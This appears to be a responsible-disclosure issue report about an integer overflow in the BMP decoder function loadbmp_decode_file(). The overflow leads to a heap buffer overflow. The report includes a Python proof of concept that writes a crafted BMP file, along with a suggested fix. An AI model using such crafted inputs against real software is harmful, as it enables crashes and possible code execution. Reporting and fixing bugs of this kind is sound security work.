Security: Integer overflow in malloc → heap buffer overflow in loadbmp_decode_file

[ByamB4]

Summary

Found a heap buffer overflow vulnerability in loadbmp_decode_file() caused by an integer overflow in the pixel buffer allocation size calculation.

Vulnerability

Location: loadbmp_decode_file(), line 145

w = (bmp_info_header[4] + (bmp_info_header[5] << 8) + (bmp_info_header[6] << 16) + (bmp_info_header[7] << 24));
h = (bmp_info_header[8] + (bmp_info_header[9] << 8) + (bmp_info_header[10] << 16) + (bmp_info_header[11] << 24));

if ((w > 0) && (h > 0))
{
    data = (unsigned char*)malloc(w * h * components);

w and h are unsigned int (32-bit) read from the BMP header. The multiplication w * h * components can silently overflow/wrap around. The check (w > 0) && (h > 0) does not prevent large values.

Example: w=32768, h=32769, components=4 (RGBA):

• w * h * 4 = 4,295,098,368 → wraps to 131,072 on 32-bit unsigned
• malloc(131072) succeeds with a 128KB buffer
• The pixel loop iterates ~1 billion pixels, writing 3 bytes each via fread() → massive heap overflow

PoC

import struct

bmp = bytearray()
bmp += b'BM'
bmp += struct.pack('<I', 54 + 100)
bmp += b'\x00\x00\x00\x00'
bmp += struct.pack('<I', 54)
bmp += struct.pack('<I', 40)
bmp += struct.pack('<I', 32768)   # width
bmp += struct.pack('<I', 32769)   # height
bmp += struct.pack('<H', 1)
bmp += struct.pack('<H', 24)      # 24 bpp
bmp += b'\x00' * 24
bmp += b'\x00' * 100

with open('crash_heap_overflow.bmp', 'wb') as f:
    f.write(bmp)

Impact

Heap buffer overflow with attacker-controlled data from the BMP file → crash or potential code execution.

Suggested Fix

Use size_t and check for overflow before malloc:

size_t pixel_count = (size_t)w * h;
size_t alloc_size = pixel_count * components;

if (w != 0 && pixel_count / w != h) {
    fclose(f);
    return LOADBMP_OUT_OF_MEMORY;
}
if (pixel_count != 0 && alloc_size / pixel_count != components) {
    fclose(f);
    return LOADBMP_OUT_OF_MEMORY;
}

data = (unsigned char*)malloc(alloc_size);

Found through manual source code audit. Reported responsibly.